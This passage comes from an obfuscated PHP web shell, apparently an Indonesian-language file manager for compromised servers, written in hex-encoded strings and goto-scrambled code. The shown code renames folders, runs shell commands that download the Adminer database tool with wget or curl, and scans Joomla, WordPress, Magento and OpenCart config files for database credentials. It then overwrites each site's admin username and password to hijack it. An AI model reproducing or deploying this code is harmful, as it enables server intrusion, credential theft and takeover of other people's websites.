"\x26\141\x6b\x73\x69\x3d\x68\x61\160\x75\x73\137\x66\157\154\144\145\x72\x27\x3e\x44\145\154\x65\164\145\74\x2f\141\x3e\40\135\40\xa\x3c\x68\x35\x3e{$IIIIIIII1l1I}\x20\x52\x65\x6e\141\155\145\x20\x46\x6f\154\144\145\x72\x20\72\x20{$IIIIIIIl1Ill}\x20\x3c\x2f\x68\65\76\xa\x3c\146\x6f\x72\155\x20\155\145\x74\150\157\144\x3d\x27\x50\117\x53\124\47\76\xa\74\151\156\x70\165\x74\40\164\x79\x70\145\75\x27\164\145\170\x74\47\x20\143\154\141\163\x73\75\47\x66\157\x72\155\x2d\x63\x6f\156\164\x72\157\x6c\47\x20\x6e\x61\x6d\x65\75\x27\x6e\141\x6d\141\x6e\x65\x77\47\x20\x70\x6c\x61\x63\145\x68\x6f\x6c\144\145\162\x3d\47\x4d\x61\163\x75\153\x61\x6e\x20\116\x61\155\x61\40\102\x61\x72\165\x2e\x2e\56\x27\x20\166\x61\154\165\x65\75\47{$IIIIIIIl1I1I}\x27\76\74\x62\x72\x2f\x3e\12\x3c\x62\x75\x74\164\x6f\x6e\40\164\171\160\x65\75\x27\x73\165\155\142\x69\164\47\x20\x63\154\141\163\x73\x3d\x27\x62\x74\x6e\x20\x62\164\x6e\55\163\165\143\143\145\163\x73\x20\142\x74\156\55\x62\x6c\x6f\x63\153\x20\155\x62\x2d\x35\x27\40\156\x61\155\145\x3d\x27\147\141\156\x74\x69\x27\x3e\x47\141\156\x74\151\x21\41\74\x2f\142\x75\x74\164\157\156\76\x3c\x62\162\x2f\76\12\x3c\x2f\x66\157\x72\155\x3e"; if (isset($_POST["\x67\x61\156\x74\151"])) { $IIIIIIIll111 = htmlspecialchars($_POST["\x6e\x61\x6d\x61\156\x65\167"]); $IIIIIIIl1llI = rename($dir, '' . dirname($dir) . "\x2f" . $IIIIIIIll111 . ''); if ($IIIIIIIl1llI) { $IIIIIIIlIl1l = "\163\165\x63\143\x65\163\163"; $IIIIIIIlIl11 = "\102\x65\x72\150\x61\163\151\x6c\x20\x4d\145\156\147\x67\141\156\164\151\x20\116\141\155\141"; $dir = dirname($dir); IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "\x65\162\x72\x6f\x72"; $IIIIIIIlIl11 = "\107\x61\x67\141\154\40\x4d\x65\x6e\x67\x67\141\156\164\x69\x20\116\141\x6d\141"; $dir = dirname($dir); IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } die; } goto A6VzY; PZ8XY: if ($_GET["\x61\x6b\163\151"] == "\x72\145\x6e\x61\155\145\137\146\157\154\x64\x65\x72") { IIIIIIIl1lI1($dir, $IIIIIIIl1Ill, $IIIIIIII1l1I); } goto KWEKS; iDKvO: ini_set("\x6c\x6f\x67\137\145\x72\162\x6f\162\163\137\155\x61\170\x5f\154\x65\156", 0); goto TOKr0; BRRlq: $IIIIIIIIIIl1 = "\x46\151\x6c\145\163\x4d\141\156"; goto R6_EV; IGMJB: if (!isset($_COOKIE[sha1(md5($_SERVER["\110\124\124\x50\137\110\x4f\123\x54"])) . "\141\152\141\x78"])) { $_COOKIE[sha1(md5($_SERVER["\x48\x54\124\120\x5f\x48\x4f\x53\x54"])) . "\x61\152\x61\170"] = (bool) $asciifnc1; } goto GeTM0; usbii: echo "\x3c\x64\151\x76\x20\x69\x64\75\x22\164\x61\142\x22\x20\x63\x6c\x61\x73\163\75\x22\x74\x61\x62\154\145\55\x72\x65\163\160\x6f\x6e\x73\151\x76\x65\x22\x3e\74\x63\145\156\164\145\x72\x3e\74\164\x61\x62\154\x65\x20\143\x6c\141\x73\163\x3d\x22\164\145\170\x74\55\167\x68\151\164\x65\x20\x74\x61\142\154\145\x20\x6d\164\x2d\x31\40\164\x61\142\x6c\145\x2d\x68\157\x76\145\162\40\x74\x61\x62\154\x65\55\x72\145\x73\x70\x6f\156\163\151\166\145\42\76\12\74\x74\150\x65\x61\144\40\x63\x6c\141\x73\163\75\x22\x62\x67\55\x69\x6e\146\157\40\x74\x65\x78\164\x2d\x63\145\156\x74\145\162\x22\x3e\12\x3c\164\x68\x20\x63\154\x61\163\163\x3d\42\x74\x65\x78\x74\55\x6c\145\146\x74\x22\76\x46\151\x6c\x65\57\x66\x6f\x6c\x64\145\x72\x3c\57\164\150\76\xa\74\x74\x68\76\x53\x69\172\x65\74\x2f\164\150\76\12\74\164\150\76\x4c\141\163\x74\x20\x4d\157\144\x69\x66\x69\x65\144\74\57\164\150\76\xa\x3c\164\150\x3e\x50\x65\162\155\151\163\x73\x69\x6f\x6e\74\57\x74\150\x3e\12\74\164\x68\76\x41\143\x74\151\x6f\156\74\57\164\x68\76\xa\x3c\x2f\164\x68\x65\141\x64\76"; goto kCWJ2; eUJt7: $keyxx = $_SESSION["\153\x65\171\170\170"]; goto wcB7c; Dm97v: function IIIIIII1l1lI($dir, $file) { $IIIIIII1l1ll = str_replace($_SERVER["\104\x4f\x43\125\x4d\105\x4e\x54\137\x52\x4f\x4f\124"], '', $dir); ex("\x77\147\145\164\x20\150\x74\164\x70\163\72\x2f\x2f\x67\x69\x74\150\165\142\56\x63\157\x6d\57\166\162\141\x6e\141\x2f\x61\144\155\151\x6e\x65\x72\x2f\x72\145\154\145\141\163\145\163\57\x64\x6f\167\x6e\x6c\157\x61\144\57\x76\64\x2e\x38\x2e\61\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2d\x34\56\70\x2e\x31\x2e\160\x68\x70\x20\x2d\117\40\141\144\x6d\151\x6e\x65\162\56\x70\x68\160"); if (file_exists("\141\144\155\151\x6e\145\162\x2e\160\x68\x70")) { echo "\x3c\x70\40\x63\x6c\141\x73\x73\75\47\164\145\170\164\x2d\143\145\156\x74\x65\162\x27\x3e\x42\145\x72\x68\x61\x73\151\154\40\x4d\145\155\x62\x75\141\x74\x20\x41\144\155\x69\x6e\x65\x72\x3c\57\160\x3e\x3c\141\40\150\162\145\146\75\47{$IIIIIII1l1ll}\x2f\141\x64\x6d\x69\x6e\x65\162\x2e\x70\150\x70\47\x20\164\x61\162\x67\x65\x74\x3d\x27\x5f\142\x6c\141\156\x6b\47\x20\x63\x6c\141\x73\x73\75\x27\164\x65\170\164\55\x63\145\x6e\164\145\x72\40\x62\x74\x6e\40\x62\164\156\55\x73\165\x63\143\x65\163\x73\x20\142\164\x6e\x2d\x62\x6c\157\143\x6b\x20\x6d\x62\55\63\x27\76\114\x6f\147\151\156\x20\101\x64\x6d\151\x6e\x65\162\74\57\x61\x3e"; } else { if (file_exists("\141\144\x6d\151\156\145\162\x2e\x70\150\160")) { echo "\x3c\160\x20\143\x6c\141\163\x73\75\x27\x74\145\170\164\x2d\143\145\x6e\x74\x65\162\47\76\102\x65\162\150\141\x73\151\154\x20\115\x65\155\142\165\141\164\40\x41\144\x6d\151\156\x65\x72\74\57\160\x3e\74\x61\40\x68\162\145\x66\75\x27{$IIIIIII1l1ll}\57\141\144\x6d\151\x6e\145\162\x2e\160\x68\x70\47\x20\164\141\x72\147\x65\x74\x3d\x27\137\142\154\141\156\x6b\47\x20\143\154\x61\163\x73\x3d\x27\x74\x65\x78\164\x2d\x63\x65\156\164\145\x72\x20\142\x74\x6e\40\x62\164\x6e\55\x73\x75\x63\x63\145\163\x73\40\142\164\156\55\x62\154\157\143\x6b\40\155\x62\55\x33\x27\x3e\114\157\x67\x69\x6e\40\x41\x64\155\151\156\x65\x72\x3c\57\x61\76"; } else { ex("\143\165\162\154\40\x2d\x73\x4c\40\150\164\164\160\x73\72\57\x2f\147\x69\164\x68\x75\142\x2e\x63\157\155\57\x76\x72\x61\156\x61\57\141\x64\x6d\151\156\145\162\x2f\162\x65\154\145\x61\163\x65\x73\57\144\x6f\167\x6e\x6c\x6f\x61\144\57\x76\64\x2e\70\x2e\61\57\x61\x64\155\x69\x6e\145\x72\55\64\56\70\x2e\x31\56\x70\x68\160\40\55\x6f\40\x61\x64\x6d\x69\156\145\x72\x2e\160\x68\x70"); if (file_exists("\141\144\155\x69\x6e\x65\162\x2e\x70\150\x70")) { echo "\x3c\x70\x20\x63\x6c\x61\x73\163\75\x27\x74\x65\170\164\x2d\143\x65\x6e\164\x65\x72\x27\76\102\145\162\150\141\x73\x69\154\40\115\145\x6d\x62\x75\x61\164\x20\x41\x64\x6d\x69\x6e\x65\x72\x3c\x2f\x70\x3e\x3c\x61\x20\150\x72\x65\x66\x3d\47{$IIIIIII1l1ll}\57\x61\144\x6d\x69\156\x65\162\x2e\x70\150\x70\47\40\x74\141\162\147\145\164\x3d\x27\137\142\x6c\x61\156\x6b\47\40\143\154\x61\163\163\75\47\164\145\x78\x74\55\143\x65\x6e\x74\x65\x72\40\x62\x74\156\x20\x62\x74\156\x2d\163\x75\143\143\145\x73\x73\x20\x62\x74\156\x2d\142\x6c\x6f\x63\153\40\x6d\142\55\x33\47\x3e\114\157\x67\151\156\40\101\x64\155\x69\x6e\x65\x72\x3c\x2f\x61\x3e"; } else { echo "\74\160\40\x63\x6c\141\x73\x73\75\x27\164\x65\x78\164\x2d\x63\x65\156\x74\145\x72\40\x74\x65\170\164\x2d\x64\141\156\147\145\x72\x27\76\107\x61\x67\x61\154\x20\x4d\145\x6d\142\x75\x61\x74\40\x41\144\155\x69\x6e\145\162\74\57\160\76"; } } } die; } goto n7gkr; k5gyt: function IIIIIIlIlllI($dir, $file) { if ($_POST["\x68\141\x6a\x61\162"]) { if (strlen($_POST["\160\x61\163\163\x5f\x62\x61\162\x75"]) < 6 or strlen($_POST["\x75\163\145\162\x5f\x62\x61\162\x75"]) < 6) { echo "\125\163\x65\162\156\141\155\x65\x20\x64\141\x6e\x20\x50\x61\x73\x73\x77\x6f\162\144\x20\x68\x61\x72\x75\163\x20\154\145\x62\x69\x68\40\144\x61\162\x69\40\66\x20\153\x61\162\x61\x6b\x74\145\162"; } else { $user_baru = $_POST["\165\163\x65\162\x5f\x62\141\x72\x75"]; $pass_baru = md5($_POST["\x70\x61\163\163\x5f\142\141\162\x75"]); $conf = $_POST["\143\x6f\x6e\146\x69\x67\x5f\144\151\162"]; $IIIIIIlIll1l = scandir($conf); foreach ($IIIIIIlIll1l as $IIIIIIlIll11) { if (!is_file("{$conf}\57{$IIIIIIlIll11}")) { continue; } $config = file_get_contents("{$conf}\x2f{$IIIIIIlIll11}"); if (preg_match("\57\112\x43\157\156\x66\151\x67\174\152\157\157\155\x6c\x61\57", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "\150\x6f\163\x74\x20\x3d\x20\47", "\x27"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "\x75\163\145\x72\40\75\40\x27", "\47"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "\160\x61\x73\x73\167\157\162\x64\40\x3d\x20\47", "\x27"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "\x64\142\x20\75\40\x27", "\x27"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "\144\142\x70\x72\x65\x66\151\170\40\75\40\47", "\47"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "\x75\x73\x65\162\163"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("\x53\x45\x4c\105\x43\x54\40\x2a\40\106\122\x4f\115\40{$IIIIIIlIl11I}\40\x4f\122\104\x45\x52\40\x42\x59\x20\151\x64\40\101\x53\x43"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1["\151\x64"]; $IIIIIIlIlI1l = IIIIIIII11l1($config, "\163\151\164\x65\156\141\x6d\145\40\75\40\x27", "\x27"); $IIIIIIlI1Il1 = mysql_query("\x55\x50\104\101\124\105\40{$IIIIIIlIl11I}\40\x53\105\124\40\x75\x73\145\x72\156\141\155\145\75\47{$user_baru}\x27\x2c\x70\x61\x73\163\x77\x6f\162\144\75\47{$pass_baru}\47\40\127\x48\x45\x52\x45\x20\x69\144\75\47{$id}\x27"); echo "\103\x6f\156\146\151\147\40\75\76\x20" . $IIIIIIlIll11 . "\x3c\x62\162\x3e"; echo "\x43\115\123\x20\x3d\x3e\40\112\157\157\155\154\x61\x3c\x62\x72\76"; if ($IIIIIIlIlI1l == '') { echo "\123\x69\164\x65\156\x61\x6d\145\x20\x3d\76\40\74\146\157\x6e\x74\40\x63\157\154\x6f\162\x3d\x72\145\144\76\145\x72\x72\157\162\54\x20\x67\x61\x62\151\x73\141\x20\141\155\142\x69\x6c\x20\156\x61\x6d\141\40\x64\x6f\x6d\141\x69\x6e\x20\156\171\141\74\57\x66\157\x6e\164\x3e\x3c\142\x72\76"; } else { echo "\123\151\x74\x65\x6e\141\155\x65\x20\x3d\76\x20{$IIIIIIlIlI1l}\74\x62\162\76"; } if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "\123\164\x61\x74\165\x73\x20\75\x3e\x20\x3c\x66\157\156\164\40\x63\x6f\x6c\x6f\x72\x3d\x72\145\x64\76" . mysql_error() . "\x3c\57\x66\x6f\156\x74\x3e\74\x62\162\x3e\x3c\142\162\x3e"; } else { echo "\123\x74\x61\164\165\x73\x20\x3d\76\40\x3c\x66\157\x6e\x74\x20\x63\157\154\157\162\x3d\x6c\x69\x6d\x65\76\x53\x75\x6b\x73\x65\x73\54\40\x53\151\154\x61\x6b\x61\x6e\40\x6c\x6f\x67\151\156\x20\144\x65\156\x67\141\156\40\125\x73\x65\162\x20\46\x20\x50\141\x73\x73\x77\157\162\144\x20\x79\141\156\147\40\142\x61\162\x75\56\74\57\146\157\156\164\x3e\74\x62\x72\x3e\74\x62\162\76"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("\57\x57\157\162\x64\120\x72\145\x73\163\x2f", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "\x44\102\137\110\x4f\x53\124\47\x2c\x20\x27", "\47"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "\104\x42\137\x55\x53\105\x52\47\54\40\x27", "\x27"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "\104\x42\x5f\x50\101\x53\123\127\x4f\x52\104\x27\54\40\47", "\x27"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "\x44\102\137\x4e\101\x4d\105\47\54\x20\47", "\x27"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "\x74\141\142\154\x65\x5f\160\x72\x65\146\151\x78\x20\40\75\x20\x27", "\x27"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "\165\163\145\162\163"; $IIIIIIlI1I11 = $IIIIIIlIl1l1 . "\x6f\x70\164\x69\x6f\156\163"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("\123\x45\114\105\103\x54\40\x2a\40\106\122\117\115\x20{$IIIIIIlIl11I}\x20\117\x52\104\105\x52\40\x42\131\40\x69\144\x20\101\123\103"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1[ID]; $IIIIIIlI1lII = mysql_query("\123\x45\114\105\x43\124\x20\52\40\x46\x52\x4f\x4d\40{$IIIIIIlI1I11}\40\117\x52\x44\105\x52\40\102\x59\40\x6f\x70\x74\151\x6f\156\137\151\x64\x20\x41\123\103"); $IIIIIIlI1lIl = mysql_fetch_array($IIIIIIlI1lII); $target = $IIIIIIlI1lIl[option_value]; if ($target == '') { $IIIIIIlI1llI = "\x4c\157\147\x69\156\40\x3d\76\40\x3c\x66\157\156\164\40\143\157\154\157\162\x3d\162\145\x64\x3e\105\162\162\157\x72\54\x20\x54\x69\x64\141\x6b\x20\144\x61\x70\x61\x74\x20\155\x65\x6e\x67\x61\x6d\x62\151\154\40\x6e\141\x6d\141\40\144\157\155\141\x69\156\x6e\x79\141\x3c\x2f\x66\157\156\164\x3e\74\x62\x72\x3e"; } else { $IIIIIIlI1llI = "\114\157\147\x69\156\x20\x3d\x3e\x20\74\x61\40\x68\162\x65\x66\75\x27{$target}\x2f\x77\x70\x2d\x6c\157\147\x69\x6e\56\160\x68\x70\47\x20\x74\x61\x72\147\145\x74\75\x27\x5f\x62\x6c\x61\x6e\153\47\76\74\165\x3e{$target}\x2f\x77\x70\x2d\154\157\x67\x69\x6e\56\160\x68\160\74\57\165\x3e\x3c\57\141\76\74\x62\162\x3e"; } $IIIIIIlI1Il1 = mysql_query("\125\120\104\101\124\x45\40{$IIIIIIlIl11I}\40\x53\x45\124\40\x75\x73\x65\x72\x5f\x6c\157\x67\151\x6e\x3d\47{$user_baru}\47\54\165\163\x65\x72\x5f\160\x61\163\163\75\47{$pass_baru}\x27\40\127\110\x45\122\x45\x20\x69\x64\75\x27{$id}\x27"); echo "\103\157\x6e\146\x69\147\40\75\76\x20" . $IIIIIIlIll11 . "\74\x62\162\x3e"; echo "\103\x4d\x53\40\x3d\76\40\x57\157\x72\x64\x70\x72\145\x73\x73\74\142\162\x3e"; echo $IIIIIIlI1llI; if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "\x53\164\141\x74\165\x73\40\75\x3e\x20\x3c\146\157\x6e\164\x20\143\157\x6c\157\162\75\x72\x65\144\x3e" . mysql_error() . "\74\x2f\146\157\x6e\164\x3e\74\x62\162\76\74\x62\x72\76"; } else { echo "\x53\x74\141\164\165\163\40\75\x3e\40\x3c\146\157\156\x74\x20\x63\x6f\154\157\x72\75\154\151\x6d\145\76\123\x75\x6b\163\145\x73\54\40\123\151\154\141\x6b\141\156\40\x6c\157\x67\151\x6e\40\x64\x65\x6e\147\141\x6e\40\125\x73\145\162\40\46\x20\x50\141\163\x73\167\x6f\x72\144\40\171\x61\156\x67\x20\142\x61\x72\165\x2e\x3c\57\x66\157\156\x74\x3e\x3c\142\x72\76\74\x62\162\76"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("\x2f\x4d\x61\x67\x65\156\x74\x6f\x7c\115\141\147\x65\x5f\x43\157\162\145\x2f", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "\x3c\x68\x6f\163\164\x3e\x3c\41\133\103\104\x41\x54\101\x5b", "\135\135\x3e\74\57\x68\157\163\x74\76"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "\x3c\x75\x73\145\x72\x6e\141\x6d\145\x3e\74\x21\133\x43\104\x41\x54\101\x5b", "\x5d\x5d\x3e\x3c\x2f\x75\163\x65\162\156\x61\155\x65\x3e"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "\x3c\x70\x61\163\163\167\157\162\144\x3e\74\41\133\x43\x44\x41\124\101\133", "\135\135\76\74\x2f\x70\141\x73\163\x77\x6f\162\x64\x3e"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "\x3c\x64\x62\156\x61\155\x65\x3e\x3c\41\x5b\x43\104\101\124\101\133", "\x5d\135\x3e\x3c\57\x64\x62\156\x61\155\145\76"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "\x3c\164\141\x62\x6c\145\137\160\x72\x65\146\151\170\76\x3c\41\x5b\x43\104\x41\x54\x41\x5b", "\x5d\135\x3e\x3c\57\x74\x61\x62\154\145\137\160\x72\145\146\151\x78\x3e"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "\141\x64\155\x69\x6e\137\165\163\x65\x72"; $IIIIIIlI1I11 = $IIIIIIlIl1l1 . "\143\x6f\162\x65\137\143\157\156\x66\x69\x67\137\144\x61\x74\x61"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("\123\x45\114\x45\103\x54\x20\x2a\40\106\122\117\115\x20{$IIIIIIlIl11I}\x20\117\x52\x44\105\122\40\102\x59\x20\x75\x73\145\162\137\151\x64\40\x41\123\x43"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1[user_id]; $IIIIIIlI1lII = mysql_query("\x53\105\114\x45\103\124\40\x2a\40\x46\122\x4f\115\x20{$IIIIIIlI1I11}\40\x57\x48\105\122\x45\40\x70\141\164\150\x3d\47\167\145\x62\x2f\163\145\143\165\162\x65\x2f\142\x61\163\145\137\165\162\154\47"); $IIIIIIlI1lIl = mysql_fetch_array($IIIIIIlI1lII); $target = $IIIIIIlI1lIl[value]; if ($target == '') { $IIIIIIlI1llI = "\x4c\x6f\147\151\156\40\x3d\76\x20\74\146\x6f\156\164\x20\x63\157\154\x6f\162\75\x72\x65\144\x3e\105\162\x72\x6f\x72\x2c\40\x54\x69\144\x61\153\40\144\x61\160\x61\164\x20\155\145\x6e\x67\x61\155\x62\x69\x6c\x20\x6e\x61\x6d\x61\40\x64\x6f\x6d\x61\151\x6e\x6e\171\141\74\x2f\x66\157\x6e\x74\76\74\x62\162\x3e"; } else { $IIIIIIlI1llI = "\114\157\x67\x69\156\x20\75\76\40\x3c\x61\40\x68\x72\145\x66\x3d\47{$target}\x2f\141\x64\155\151\x6e\x2f\47\x20\164\141\162\x67\145\164\75\x27\x5f\142\x6c\x61\156\153\x27\x3e\x3c\165\76{$target}\57\141\144\x6d\x69\156\x2f\x3c\x2f\x75\76\x3c\x2f\141\x3e\74\x62\162\76"; } $IIIIIIlI1Il1 = mysql_query("\125\120\104\101\x54\105\40{$IIIIIIlIl11I}\x20\x53\x45\x54\40\x75\163\x65\x72\156\141\x6d\145\x3d\x27{$user_baru}\x27\x2c\x70\x61\x73\x73\x77\157\x72\144\x3d\x27{$pass_baru}\x27\40\127\110\x45\122\105\40\x75\x73\x65\162\x5f\x69\x64\75\x27{$id}\47"); echo "\x43\x6f\156\146\x69\x67\40\x3d\76\x20" . $IIIIIIlIll11 . "\74\x62\162\76"; echo "\x43\115\x53\40\x3d\76\40\115\x61\147\145\x6e\164\x6f\x3c\142\x72\x3e"; echo $IIIIIIlI1llI; if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "\123\x74\x61\x74\165\163\x20\75\x3e\x20\x3c\x66\157\x6e\164\x20\x63\x6f\x6c\x6f\162\x3d\162\145\x64\x3e" . mysql_error() . "\x3c\57\146\157\x6e\x74\76\x3c\142\x72\76\74\x62\162\x3e"; } else { echo "\123\164\141\164\x75\163\40\x3d\x3e\40\74\x66\157\x6e\164\40\143\157\x6c\157\x72\x3d\x6c\x69\155\x65\76\x53\x75\153\x73\145\163\x2c\x20\x53\x69\154\141\153\x61\156\40\154\157\147\x69\156\x20\x64\x65\x6e\147\x61\x6e\x20\x55\163\145\162\x20\x26\x20\x50\x61\x73\163\x77\157\x72\x64\40\171\141\156\x67\40\x62\141\162\x75\56\74\57\146\x6f\x6e\x74\x3e\74\x62\162\x3e\74\x62\x72\x3e"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("\x2f\x48\x54\124\120\x5f\123\105\122\x56\105\122\x7c\x48\x54\x54\120\x5f\x43\x41\124\101\114\x4f\x47\174\x44\111\122\137\103\x4f\x4e\106\111\107\x7c\104\x49\x52\x5f\x53\x59\123\x54\x45\x4d\x2f", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "\47\x44\102\x5f\x48\117\123\124\116\101\x4d\x45\x27\x2c\40\x27", "\47"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "\47\104\x42\x5f\125\123\105\122\116\x41\115\105\47\54\40\47", "\47"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "\47\x44\x42\x5f\x50\x41\x53\123\x57\x4f\x52\x44\47\x2c\x20\x27", "\x27"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "\47\x44\x42\x5f\x44\x41\124\x41\x42\x41\123\x45\47\54\40\x27", "\47"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "\x27\104\102\137\120\x52\x45\x46\x49\x58\x27\54\x20\47", "\x27"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "\165\163\x65\x72"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("\x53\x45\x4c\105\103\x54\x20\x2a\40\106\122\x4f\115\x20{$IIIIIIlIl11I}\x20\117\x52\104\105\122\40\x42\131\40\165\163\x65\162\x5f\x69\144\x20\101\x53\103"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1[user_id]; $target = IIIIIIII11l1($config, "\x48\x54\x54\120\x5f\x53\x45\122\126\x45\x52\47\54\x20\x27", "\47"); if ($target == '') { $IIIIIIlI1llI = "\x4c\x6f\x67\x69\x6e\40\75\x3e\x20\74\146\x6f\x6e\164\x20\x63\157\x6c\x6f\x72\75\x72\145\x64\76\x45\x72\x72\x6f\x72\x2c\40\x54\x69\144\x61\x6b\40\x64\141\160\x61\x74\40\155\145\156\x67\x61\x6d\142\151\154\40\156\141\155\141\x20\x64\157\155\141\151\156\156\171\141\74\57\146\x6f\156\x74\76\x3c\x62\162\76"; } else { $IIIIIIlI1llI = "\114\157\x67\151\156\40\75\x3e\x20\x3c\x61\x20\x68\x72\x65\146\x3d\47{$target}\47\x20\164\141\162\x67\145\164\x3d\x27\137\142\x6c\x61\156\153\47\x3e\x3c\165\76{$target}\x3c\x2f\x75\76\x3c\57\141\x3e\x3c\x62\x72\x3e"; } $IIIIIIlI1Il1 = mysql_query("\125\120\x44\101\x54\x45\x20{$IIIIIIlIl11I}\40\123\105\x54\x20\165\x73\145\162\x6e\141\x6d\x65\x3d\47{$user_baru}\47\x2c\x70\141\x73\163\167\x6f\x72\144\x3d\47{$pass_baru}\x27\x20\x57\x48\x45\122\105\x20\x75\163\x65\162\x5f\151\144\x3d\47{$id}\47"); echo "\103\157\156\146\x69\147\40\x3d\76\40" . $IIIIIIlIll11 . "\74\x62\162\x3e"; echo "\103\x4d\x53\x20\x3d\76\40\x4f\x70\x65\156\103\141\x72\164\x3c\142\162\76"; echo $IIIIIIlI1llI; if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "\x53\x74\141\164\165\163\x20\75\x3e\x20\74\146\157\156\164\40\143\157\x6c\157\162\75\162\145\x64\76" . mysql_error() . "\x3c\x2f\146\x6f\x6e\164\x3e\x3c\x62\162\76\74\142\162\x3e"; } else { echo "\x53\x74\141\x74\x75\163\40\x3d\76\40\74\146\x6f\156\164\x20\x63\x6f\x6c\157\162\75\154\151\x6d\145\76\123\165\153\163\145\x73\x2c\x20\123\151\x6c\x61\x6b\x61\156\x20\154\157\x67\x69\x6e\x20\144\x65\156\147\x61\156\x20\x55\163\x65\x72\40\46\40\120\141\x73\163\x77\157\x72\144\x20\171\141\156\x67\x20\142\141\162\x75\56\74\x2f\146\x6f\156\x74\x3e\74\x62\162\x3e\74\142\x72\x3e"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("\57\160\141\156\x67\x67\x69\154\x20\x66\165\x6e\x67\x73\151\x20\166\141\x6c\x69\x64\x61\163\x69\x20\170\163\x73\40\144\x61\156\40\x69\156\152\x65\143\x74\x69\x6f\156\x2f", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "\x73\145\162\166\145\162\x20\75\x20\x22", "\x22"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "\x75\163\145\162\x6e\141\x6d\x65\40\75\x20\42", "\42"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "\x70\x61\x73\163\x77\157\x72\144\x20\75\x20\x22", "\x22"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "\144\141\x74\141\x62\141\x73\145\x20\x3d\40\x22", "\42"); $IIIIIIlIl11I = "\165\x73\145\162\x73"; $IIIIIIlI1I11 = "\151\144\x65\x6e\164\x69\164\141\163"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("\123\x45\x4c\105\x43\x54\x20\x2a\x20\106\122\117\115\40{$IIIIIIlI1I11}\x20\x4f\122\x44\x45\x52\x20\102\x59\x20\151\x64\x5f\x69\144\145\x6e\x74\x69\x74\141\x73\x20\x41\x53\103"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $target = $IIIIIIlII1l1[alamat_website]; if ($target == '') { $IIIIIIlI1lll = $IIIIIIlII1l1[url]; $IIIIIIlI1llI = "\114\x6f\147\151\156\x20\x3d\x3e\40\x3c\x66\157\156\x74\40\x63\x6f\x6c\157\x72\75\x72\145\144\x3e\105\162\162\x6f\x72\x2c\x20\124\151\x64\141\153\x20\144\x61\160\141\x74\40\x6d\145\156\x67\141\x6d\x62\151\x6c\40\x6e\x61\155\x61\x20\144\x6f\155\141\151\156\x6e\x79\141\74\57\x66\x6f\156\x74\76\74\142\162\76"; if ($IIIIIIlI1lll == '') { $IIIIIIlI1ll1 = 